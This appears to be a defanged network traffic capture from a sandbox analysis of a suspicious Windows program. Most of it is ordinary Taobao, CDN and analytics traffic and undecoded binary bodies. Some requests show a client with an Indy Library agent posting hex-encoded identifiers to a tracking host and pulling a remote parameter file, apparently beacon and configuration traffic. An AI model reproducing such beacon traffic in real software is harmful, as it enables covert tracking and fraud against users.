User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Cookie: miid=6253757304298920846

Connection: Keep-Alive

Host: ju.taobao.com

HTTP/1.1 200 OK

Server: Tengine

Date: Mon, 01 Jun 2015 17:57:07 GMT

Content-Type: text/html;charset=GBK

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

X-Bucket-Hash: jhs_b_A

At_Bucketid: jhs_ju_7

Server-Num: ju010179134162.s.et2

S: STATUS_NOT_EXISTED

P3P: CP='CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR'

Content-Language: zh-CN

X-Cache: MISS TCP_MISS dirn:-2:-2

Via: wagbridge010181176026.s.et2[76,200-0,M]

Cache-Control: no-store

Url-Hash: bid=7&/&ju.taobao.com

Via: wagbridge010181172166.s.et2[web]

Set-Cookie: bid=7; Domain=ju.taobao.com; Path=/; Expires=Wed, 12-Oct-2050 02:50:13 GMT

Content-Encoding: gzip
600a..............ys.W.?..L.}..OMnR.m.v1.|.....$N&s)Y.m..2Z0&7.."...p.
..M.e[.&o...@B..$..d..!&.~..t..Z......q*Xnu..9.?.z...~....^.y....5....
m......gK..V....Q.gK..k...mn.......DYe..-.......qkYM......ux..e.z|.ZVY
YW....4W....z...d....y.VTo6....(.....W...........G.M.m....../=\....b..
l....6W..U....u.{\.....?....hj.xm..{a/.......'t]..5..3Dj.59...p....5.2
....u4..f...o.....l......?u..?.^...........=....6ty.K.3....tUS........
..v.x..fI.........`...{.2..Ac.l...}....4...hdje......h8}u......3=.....
...;&..q.uW{...x<-M....PLZK.Ng..:k.XK..v4.8.....VG...W....z....q..&
lt;........;]M-6....!yx.....:..i...........4s....>.sw(....-..w)...'
h.C.Gju6..Z ..cik.u...wm--.j6....'..c.&.f......]6......K.EI...|.&0....
..F.cS....l......[...759.}..Z.....%.n......y.]n....81^).L..tS.....\.U.
 L...Stw..).x...2g...Qy..."..iN...5:<...WE7..ke]#......>..dl..Z.
w59....-...R....X'........k#....j<n;/.Hh....pz<m.'....3Tz...6...
&)..f.o...^[email protected]|..rK...5.R.K=[.]5m.{#X...._9M.........X.
...../.........p{w8j]n..v..[ow...|..o...M.N......X..K...{.ng.....q....
5y.6...h........t.l}..=^.........'cm...._..4.</.......X.V...h..L.A.
.,x..z.Qo.../.<.~.....u.y..7\..{w........?s.d..7[.n-..........6b9..
l............ .S.W...6.._.s.D.....WT6.?....t.X..~.&.....,..B. P..-.!..
..[5/.0.lnv..t.x.5.......Z.<...../i.i8.A.. .....Z...) .Kz$....[.P^~
......j.i.......[.......v.....-.....m.4..w.l.:gs..YW..\.....{...5: .^G
S.....X~J...lq;......o....M...$.n.U{\........j._h........h..n......yJC
KH...|.}.....9=.......&U...4..67....?8.Z.g.f/M-=.T............jl^[
<<< skipped >>>

GET /t/font_1432191682_899724.eot? HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: at.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/octet-stream

Content-Length: 32212

Connection: keep-alive

Date: Thu, 21 May 2015 10:01:34 GMT

Accept-Ranges: bytes

Access-Control-Allow-Origin: *

Cache-Control: max-age=31557600

ETag: "4D259A43E060FF333831543B075691D4"

Last-Modified: Thu, 21 May 2015 07:01:23 GMT

x-oss-object-type: Normal

x-oss-request-id: 555DACFE59BCDC5C50BEA26F

Via: cache54.l2de1[0,200-0,H], cache39.l2de1[1,0], cache6.uk1[0,200-0,H], cache12.uk1[0,0]

Age: 978934

X-Cache: HIT TCP_MEM_HIT dirn:0:217928942

X-Swift-SaveTime: Thu, 21 May 2015 10:04:53 GMT

X-Swift-CacheTime: 31557401
.}...|............................LP.........................'........
..............j.u.-.f.o.n.t.....f.o.n.t.....V.e.r.s.i.o.n. .1...0. .;.
 .t.t.f.a.u.t.o.h.i.n.t. .(.v.0...9.4.). .-.l. .8. .-.r. .5.0. .-.G. .
2.0.0. .-.x. .1.4. .-.w. .".G.". .-.f. .-.s.....j.u.-.f.o.n.t.........
.......pFFTMoD.S........OS/2W{\........`cmap..!....x...Jcvt ...4..rl..
.$fpgm0.....r.....gasp......rd....glyfU..n......hthead......k8...6hhea
.#....kp...$hmtx22!Q..k....$loca.r.:..l.....maxp.i....mL... name.B/_..
ml....post.4]...o.....prep...f..|(.............=........3A......3B...U
.......................3..............................PfEd...x.D.,.,.\
.=................. .....................D...........(...........x.D..
...x..................................................................
......................................................................
......................................................................
......................................................................
......."...2.......)@&.......W.....K....O.....C............. 3.!.'3.#"
........V".f.....,.........0.:.R.^[email protected]......^.....\.....
..^.......^[email protected]......
^.....\........f.......^....i........X.........Y.....Q.....B.K..PX@L..
......f......^.....\........f........f....i........X.........Y.....Q..
[email protected].......
..Y.....Q.....BYYY@(SS;;21..S^S^[X;R;RKC751:2:.0.0Q.1..(.@.. .. ."....
!54&54.. ..!.......#.& .'!. ."'"..=.."...3264&.......;.26'..'&'.54
<<< skipped >>>

GET /will.html HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: tongji.110160.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Length: 374

Content-Type: text/html

Last-Modified: Thu, 14 May 2015 10:24:04 GMT

Accept-Ranges: bytes

ETag: "d8e4381a308ed01:125c"

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Date: Mon, 01 Jun 2015 17:56:55 GMT
<htmL>..<head>..</head>..<body>..<script ty
pe="text/javascript">var cnzz_protocol = (("https:" == document.loc
ation.protocol) ? " hXXps://" : " hXXp://");document.write(unescape("%
3Cspan id='cnzz_stat_icon_1255080332'>"));</script>..</html>HTTP/1.1
 200 OK..Content-Length: 374..Content-Type: text/html..Last-Modified: 
Thu, 14 May 2015 10:24:04 GMT..Accept-Ranges: bytes..ETag: "d8e4381a30
8ed01:125c"..Server: Microsoft-IIS/6.0..X-Powered-By: ASP.NET..Date: M
on, 01 Jun 2015 17:56:55 GMT..<htmL>..<head>..</head>
;..<body>..<script type="text/javascript">var cnzz_protoco
l = (("https:" == document.location.protocol) ? " hXXps://" : " http:/
/");document.write(unescape("
"));</scr
ipt>..</html>..

GET /tps/i1/TB1eHBsGFXXXXa7XFXXoYWL.FXX-130-35.png HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gtms01.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/png

Content-Length: 1318

Connection: keep-alive

Date: Mon, 01 Jun 2015 11:38:54 GMT

Last-Modified: Sun, 19 Oct 2014 05:24:46 GMT

Expires: Thu, 29 May 2025 11:38:54 GMT

Cache-Control: max-age=315360000

Access-Control-Allow-Origin: *

Via: cache29.l2de1[0,200-0,H], cache20.l2de1[0,0], cache4.de1[0,200-0,H], cache8.de1[0,0]

Age: 22695

X-Cache: HIT TCP_MEM_HIT dirn:4:794143082

X-Swift-SaveTime: Mon, 01 Jun 2015 11:43:50 GMT

X-Swift-CacheTime: 315359704
.PNG........IHDR.......#.....o."....xPLTE.............................
......................................................................
............................'tRNS................S~..... .do..vKD.\<
;2. ..e.2...6IDATX...... ...].}.....p"...$.95U.....?.............lEn.G
......DQ.n.5..4.....'./.#[email protected][email protected].|.:[email protected]...`1.
.Fh........E.V")>.x.9..n.D...tV....B%.s......\.=.......ME....!\Y...
E<P..`X......r8...k...6?.K.A..sHB(i.<.<f.VIR.t(=.7..u........
k.1......a......u..P.1.(......X}Bu!.c.7..ci^..o@...../B...}..6........
.......}....w.....(P.....&.Cn......r..eh..Y*....a.Z.P..l..MDYY..'..$..
n..G....u:..E,..a.W(.....9~.y.s. .hA...s~B.1.......fE.?J...C...6Q.....
X.G.$*..7...%...:q..&i./`=..#.C.i..@H!4|.,..u..Ch.P ,/....z|.E...$.XR.
@B(.@.."CD......\&...A9...... !..D.V...Vk.9%...q..u..:.....L..........
0...2.U ..h.k.7.PY2...v.BC....AR.. .h,_ ,.U "r_..?(..v.g...w:jD7..5...
.Y:.a.6.W.........d.:..[.H..^..Ji=...@.!......!....._........I..{.8.](
.<..|...........c&;.m.#4";..v...[..#.. !..)#:..F...|%...q.Z..Oz6N.8
.\.Hwh-Q..M-|....P...V.i|.h..)..}..]..a_ZZ..%.`..;U....G...!T...G..I;f
.V..../(._....Lr...1).h...[{.....'.0yO...Ms.....!jvt.m..........7.V..k
.W.*....<...mg...p.? ...r.<....FQr....kd....x ....wb.[.....(.B.V
........l.xu.......5..........).~.dl.0.,.?......=W.e.8b5.".?..!.:.....
....IEND.B`.....
<<< skipped >>>

GET /play/fxappimg/btn/tab2.png HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: image.anbangjiance.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Cache-Control: max-age=172800

Content-Type: image/png

Last-Modified: Mon, 01 Dec 2014 12:08:00 GMT

Accept-Ranges: bytes

ETag: "8763c7735fdd01:0"

Server: Microsoft-IIS/7.5

Date: Mon, 01 Jun 2015 17:57:52 GMT

Content-Length: 13263
.PNG........IHDR...`...T........C....tEXtSoftware.Adobe ImageReadyq.e&
lt;... iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS5 Windows" xmpMM:InstanceID="xmp.iid:BC4A4489F07E11E3BF41F4FF42
BC7C05" xmpMM:DocumentID="xmp.did:BC4A448AF07E11E3BF41F4FF42BC7C05">
; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:BC4A4487F07E11E3BF41
F4FF42BC7C05" stRef:documentID="xmp.did:BC4A4488F07E11E3BF41F4FF42BC7C
05"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> 
<?xpacket end="r"?>.=B...0EIDATx..}y.%E.g......(..P....mZ..{....
[email protected].....>d..E.......{3.d.....
7.....c2...7#"3...'.9q.@D.:.;^../!...7.3.%.}..v.Dub............._..X..
G..`|.6.....O...o......:.wV.h.s./...oc..'....."'...1._...].|c..?4...`.
;..;.."..J....D.|....|W.|.]4......}.....A.~...IE?.2...K^....Q...S0@E..
.i..\.^.......8...|.....$...@..`^/._p...|!....B..F?%....._9&..p9...7.2
...\x.3. .\.!x..(B.k@7....`.....g1....;'X....L1Z.]u..c...9h.9N.....*|K
.7N.K....(.bx.8. .\6...dJ3.!....<RL(..O....rs.u.h....~.H..Et.$...e.
..R..o!<....^%.[...Q..O;'......._.........wI.......[...0..x.-.H
<<< skipped >>>

GET /app.gif?&cna=74rzDSF6YRECAcGK9Oe2PPyt HTTP/1.1

Accept: */*

Referer: hXXp://tongji.110160.com/will.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Connection: Keep-Alive

Host: pcookie.cnzz.com

HTTP/1.1 200 OK

Server: Tengine

Date: Mon, 01 Jun 2015 17:57:06 GMT

Content-Type: image/gif

Content-Length: 43

Connection: keep-alive

P3P: CP="NOI DSP COR CURa ADMa DEVa PSAa PSDa OUR IND UNI PUR NAV"

Set-Cookie: cna=74rzDSF6YRECAcGK9Oe2PPyt; expires=Thu, 29-May-25 17:57:06 GMT; path=/; domain=.cnzz.com

Expires: Thu, 01 Jan 1970 00:00:01 GMT

Cache-Control: no-cache

Pragma: no-cache
GIF89a.............!.......,...........L..;HTTP/1.1 200 OK..Server: Te
ngine..Date: Mon, 01 Jun 2015 17:57:06 GMT..Content-Type: image/gif..C
ontent-Length: 43..Connection: keep-alive..P3P: CP="NOI DSP COR CURa A
DMa DEVa PSAa PSDa OUR IND UNI PUR NAV"..Set-Cookie: cna=74rzDSF6YRECA
cGK9Oe2PPyt; expires=Thu, 29-May-25 17:57:06 GMT; path=/; domain=.cnzz
.com..Expires: Thu, 01 Jan 1970 00:00:01 GMT..Cache-Control: no-cache.
.Pragma: no-cache..GIF89a.............!.......,...........L..;..

POST /detail.ashx HTTP/1.0

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 38

Host: tongji.110160.com

Accept: text/html, */*

Accept-Encoding: identity

User-Agent: Mozilla/3.0 (compatible; Indy Library)

content=3931333531313737333436333B313B
HTTP/1.1 200 OK

Connection: keep-alive

Date: Mon, 01 Jun 2015 17:57:04 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

X-AspNet-Version: 2.0.50727

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 2
okHTTP/1.1 200 OK..Connection: keep-alive..Date: Mon, 01 Jun 2015 17:5
7:04 GMT..Server: Microsoft-IIS/6.0..X-Powered-By: ASP.NET..X-AspNet-V
ersion: 2.0.50727..Cache-Control: private..Content-Type: text/html; ch
arset=utf-8..Content-Length: 2..ok..

POST /detail.ashx HTTP/1.0

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 38

Host: tongji.110160.com

Accept: text/html, */*

Accept-Encoding: identity

User-Agent: Mozilla/3.0 (compatible; Indy Library)

content=3535373738313737333436333B333B
HTTP/1.1 200 OK

Connection: keep-alive

Date: Mon, 01 Jun 2015 17:57:50 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

X-AspNet-Version: 2.0.50727

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 2
okHTTP/1.1 200 OK..Connection: keep-alive..Date: Mon, 01 Jun 2015 17:5
7:50 GMT..Server: Microsoft-IIS/6.0..X-Powered-By: ASP.NET..X-AspNet-V
ersion: 2.0.50727..Cache-Control: private..Content-Type: text/html; ch
arset=utf-8..Content-Length: 2..ok..

GET /t?e=m=2&s=35qbAmPcNZ4cQipKwQzePCperVdZeJviEViQ0P1Vf2kguMN8XjClAgeSiZ4DAJSwSWmUbzNGsoQJQ2Ds+V2hm/dhTHoLjIagalccoinlb2h3Sd4VibvlLeo0BcZWWIRYYA/DpPH01wK9AmARIwX9K+AjBDXvuqoU47FHjfsActnIQu5PdXpojKJn5AyUbPoV HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml xml, */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: s.click.taobao.com

Connection: Keep-Alive

HTTP/1.1 302 Moved Temporarily

Server: Tengine

Date: Mon, 01 Jun 2015 17:57:04 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: close

Location: hXXp://s.click.taobao.com/t_js?tu=http://s.click.taobao.com/t?e=m%3D2%26s%3D35qbAmPcNZ4cQipKwQzePCperVdZeJviEViQ0P1Vf2kguMN8XjClAgeSiZ4DAJSwSWmUbzNGsoQJQ2Ds%2BV2hm%2FdhTHoLjIagalccoinlb2h3Sd4VibvlLeo0BcZWWIRYYA%2FDpPH01wK9AmARIwX9K%2BAjBDXvuqoU47FHjfsActnIQu5PdXpojKJn5AyUbPoV&ref=&et=558qJCi5lfDmNxpSGDi6si7lyGrLBGCr

Expires: Mon, 01 Jun 2015 17:57:04 GMT

Cache-Control: max-age=0
0..

GET /paramfile/main.txt HTTP/1.1

Host: tongji.110160.com

Accept: text/html, */*

Accept-Encoding: identity

User-Agent: Mozilla/5.0

HTTP/1.1 200 OK

Content-Length: 74

Content-Type: text/plain

Last-Modified: Mon, 01 Jun 2015 12:38:46 GMT

Accept-Ranges: bytes

ETag: W/"5a6537e7679cd01:125c"

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Date: Mon, 01 Jun 2015 17:56:56 GMT
...1.0.0.1;......$pptv$1............$.........$............$PPTV$...$p
ps;2HTTP/1.1 200 OK..Content-Length: 74..Content-Type: text/plain..Las
t-Modified: Mon, 01 Jun 2015 12:38:46 GMT..Accept-Ranges: bytes..ETag:
 W/"5a6537e7679cd01:125c"..Server: Microsoft-IIS/6.0..X-Powered-By: AS
P.NET..Date: Mon, 01 Jun 2015 17:56:56 GMT.....1.0.0.1;......$pptv$1..
..........$.........$............$PPTV$...$pps;2..

GET /17745949.js HTTP/1.1

Accept: */*

Referer: hXXp://jc.110160.com/ad.htm

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: js.users.51.la

Connection: Keep-Alive

HTTP/1.1 200 OK

Cache-Control: max-age=300

Content-Length: 1932

Content-Type: application/x-javascript

Last-Modified: Sun, 31 May 2015 23:19:46 GMT

Accept-Ranges: bytes

ETag: "1ce34c48f89bd01:abb"

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Date: Mon, 01 Jun 2015 17:56:30 GMT

Connection: close
document.write ('<a href="hXXp://VVV.51.la/?17745949" target="_blan
k" title="51.la 专业、
免费、强健的访问߭
F;计">网站统计</a>\n');..var a5
949tf="51la";var a5949pu="";var a5949pf="51la";var a5949su=window.loca
tion;var a5949sf=document.referrer;var a5949of="";var a5949op="";var a
5949ops=1;var a5949ot=1;var a5949d=new Date();var a5949color="";if (na
vigator.appName=="Netscape"){a5949color=screen.pixelDepth;} else {a594
9color=screen.colorDepth;}..try{a5949tf=top.document.referrer;}catch(e
){}..try{a5949pu =window.parent.location;}catch(e){}..try{a5949pf=wind
ow.parent.document.referrer;}catch(e){}..try{a5949ops=document.cookie.
match(new RegExp("(^| )a5949_pages=([^;]*)(;|$)"));a5949ops=(a5949ops=
=null)?1: (parseInt(unescape((a5949ops)[2])) 1);var a5949oe =new Date(
);a5949oe.setTime(a5949oe.getTime() 60*60*1000);document.cookie="a5949
_pages=" a5949ops  ";path=/;expires=" a5949oe.toGMTString();a5949ot=do
cument.cookie.match(new RegExp("(^| )a5949_times=([^;]*)(;|$)"));if(a5
949ot==null){a5949ot=1;}else{a5949ot=parseInt(unescape((a5949ot)[2]));
 a5949ot=(a5949ops==1)?(a5949ot 1):(a5949ot);}a5949oe.setTime(a5949oe.
getTime() 365*24*60*60*1000);document.cookie="a5949_times=" a5949ot ";
path=/;expires=" a5949oe.toGMTString();}catch(e){}..try{if(document.co
okie==""){a5949ops=-1;a5949ot=-1;}}catch(e){}..a5949of=a5949sf;if(a594
9pf!=="51la"){a5949of=a5949pf;}if(a5949tf!=="51la"){a5949of=a5949t
<<< skipped >>>

GET /btns/btns.js HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: web.fx.cncll.net

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: application/x-javascript

Content-Encoding: gzip

Last-Modified: Tue, 17 Mar 2015 07:58:04 GMT

Accept-Ranges: bytes

ETag: "0ceb3188860d01:0"

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Mon, 01 Jun 2015 17:57:50 GMT

Content-Length: 194
[email protected].`....o-l?1. {N...&8.#.......P..B..x..4..\`..>.
.Q..qFtY.@'....()F...].>[email protected]..;Al..c .N...2.....E....I...."r_
T\$.....)......=h..X.............E5.....K.5.....:......ex...HTTP/1.1 2
00 OK..Content-Type: application/x-javascript..Content-Encoding: gzip.
.Last-Modified: Tue, 17 Mar 2015 07:58:04 GMT..Accept-Ranges: bytes..E
Tag: "0ceb3188860d01:0"..Vary: Accept-Encoding..Server: Microsoft-IIS/
7.5..X-Powered-By: ASP.NET..Date: Mon, 01 Jun 2015 17:57:50 GMT..Conte
nt-Length: [email protected].`....o-l?1. {N...&8.#.......P..B.
.x..4..\`..>..Q..qFtY.@'....()F...].>[email protected]..;Al..c .N...2..
...E....I...."r_T\$.....)......=h..X.............E5.....K.5.....:.....
.ex.....

GET /tps/i4/TB17ZwIHVXXXXXGXXXXrywt4VXX-120-120.png HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gtms04.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/png

Content-Length: 16965

Connection: keep-alive

Date: Mon, 01 Jun 2015 00:01:20 GMT

Last-Modified: Thu, 28 May 2015 10:07:25 GMT

Expires: Thu, 29 May 2025 00:01:20 GMT

Cache-Control: max-age=315360000

Access-Control-Allow-Origin: *

Via: cache55.l2de1[298,200-0,M], cache49.l2de1[298,0], cache12.uk1[0,200-0,H], cache11.uk1[0,0]

Age: 64549

X-Cache: HIT TCP_MEM_HIT dirn:5:180216050

X-Swift-SaveTime: Mon, 01 Jun 2015 00:01:20 GMT

X-Swift-CacheTime: 315360000
.PNG........IHDR...x...x.....9d6.....bKGD..............pHYs...H...H.F.
k>....vpAg...x...x..E.[..AIIDATx...w..Wu........}F.K.%...W0..1-..!@
......p!..I....-...`l......n..,Y.k4..rzy...?.Q1...K<.~X....5..e}.^{
.-....^.$../.[ze.....................<. ..B..6..o&......T.b...i....
...R....!.uY..YT6...g......[V...qI.p..D..r.....o..[....>Lc[.L.oN..q
......\...4$..#..FG.82..."..4$...*.E,.&sd/g_z. ....x.H..t..r..y...?\..
.-.......H.....D<}..e.......mR.T.A.R..~.b....R....?.?E.*.-.....'..@
k0.I....}{.[o....=........4..G(.L..x);..g..}............tH.!.......<
;.Z..Of....4..S...X.e.d...V=. ...X"..g..._?..o.{q.......^&...:D....$.i
.k.~v~.._.......>...CG..J ^:....T(....it.B..7>m.U..i...*{.n.r.i.
.F"T.^.....Gw.......B...".J.-%...V..*..Z...........}..g]y...Y....!f&p.
.D.(Z._k.=..U.0J.-1[..n...hM.....v...?B......*..V=...4MJ.*.r........&F
....[o...k.k...a..... T!U/..F..\.....Xk(........v..Wk.e..S.<}.O....
.5wR.......B.A..T..ZQ.j  _.&.L.n.....?..m...G....q......:.il..M......`
.5RJ....d...O......._...K.|..7.v.J.J.T&. . ..Z..C....C.aB..l.w..}.....
...!.l"..i.Ia..:..5.N':.....V=.. ..0.(e.d..$.j";>.....[. U.%..!ja..
KJLi.h.86RH.5l......".8_........q]Cg ..%....I..)......V.N..l....(...*V
Zk.....{_../.z......m.d.,.......nn...A...U..P,P.T.*$[(#.....{..>z..
....V.....R...*....`!.*.P......F#d..p..?....v.....*..X..8X....,,Sb....
1.&..........3<..5....]r....9......i..q\.....V......X .i.D..iW.@{g'
..w../n.2.).....X....8t........(..T..k39>N&;.......D.^J.../`(......
..t.m..~.......VD..y).$..^.....&.R.^;<<.......Y:....>.E..
<<< skipped >>>

GET /tps/i4/TB1.3PmHpXXXXczaXXXrywt4VXX-120-120.png HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gtms04.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/png

Content-Length: 8040

Connection: keep-alive

Date: Sat, 23 May 2015 00:00:56 GMT

Last-Modified: Fri, 22 May 2015 09:30:01 GMT

Expires: Tue, 20 May 2025 00:00:56 GMT

Cache-Control: max-age=315360000

Access-Control-Allow-Origin: *

Via: cache7.l2de1[0,200-0,H], cache24.l2de1[0,0], cache1.uk1[0,200-0,H], cache11.uk1[2,0]

Age: 842173

X-Cache: HIT TCP_MEM_HIT dirn:6:807928366

X-Swift-SaveTime: Sat, 23 May 2015 00:05:22 GMT

X-Swift-CacheTime: 315359734
.PNG........IHDR...x...x.............tEXtSoftware.Adobe ImageReadyq.e&
lt;..."iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap
/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#"
 xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:03
538CFE005D11E5994391EEF42A82BC" xmpMM:InstanceID="xmp.iid:03538CFD005D
11E5994391EEF42A82BC" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"&
gt; <xmpMM:DerivedFrom stRef:instanceID="xmp.did:CD49A9624F00E511B3
B5E71217EB0A54" stRef:documentID="xmp.did:CD49A9624F00E511B3B5E71217EB
0A54"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>
; <?xpacket end="r"?>........PLTE& A.(J............KGd*$E.....#$
.@...("EA=W.....*...a]x-&M...!.9...!.5...-)D....}.0)MQMe&!=94T$!4...ur
.......)$A.....1)$=%!91)Q}z....mj}...\Wr.....-...kg..........!.1("B".=
...5-U;4Z......60R$.=..2......iez...>9T...dar...qn.95K...LI\...EA[ 
$H2,M...4-Q,&F...61K.........yu.ut....XUm......DAS.....%..5...JE^...,)
;...VRk...51C..()"I......|{.0,E..$\Ym...............,&HTQc...kju......
`]n.....:<9L..%...1,I!.>.........feq........14/O,$J& D......4*Qx
u.e`{/'O.....)......... .:,&JJIV..7...5-XE>b/*I2)T......<:D...,$
G.&J85E..)[Yeqn|.......{.B@N2 Q...>9Y... *4heu......&%-... .-(%
<<< skipped >>>

GET /tps/i2/TB1c5kBHVXXXXbnXXXXQoJ3FVXX-150-50.png HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gtms02.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/png

Content-Length: 4399

Connection: keep-alive

Date: Mon, 01 Jun 2015 11:17:18 GMT

Last-Modified: Thu, 28 May 2015 08:49:03 GMT

Expires: Thu, 29 May 2025 11:17:18 GMT

Cache-Control: max-age=315360000

Access-Control-Allow-Origin: *

Via: cache22.l2de1[343,200-0,M], cache29.l2de1[344,0], cache12.uk1[0,200-0,H], cache7.uk1[0,0]

Age: 23990

X-Cache: HIT TCP_MEM_HIT dirn:5:194212048

X-Swift-SaveTime: Mon, 01 Jun 2015 11:17:19 GMT

X-Swift-CacheTime: 315359999
.PNG........IHDR.......2......R.(....PLTE.)`..........)`.(_....*`.)].*
^.(_.(^.(a.)_....*^.(].............*a..........*^.(`....(b.......i.. `
.*\....U........'a....].....d..4j. _......................*a..........
......N|..e...................7k.9j.............R.. b.)_..............
..g..U..T..=p.2f.0e.(\...................v..n..j..Lz.;m.']............
.......~..=o...............................{..u..g..a..X..Dr..f.......
............q..q..Jv.............w..Gv.Fv.Bs.6i.......Y..............6
j....S~.66"..."IDATX..YW[.G......[...a.B5...6..l....{/.vz..7g6.H.....\
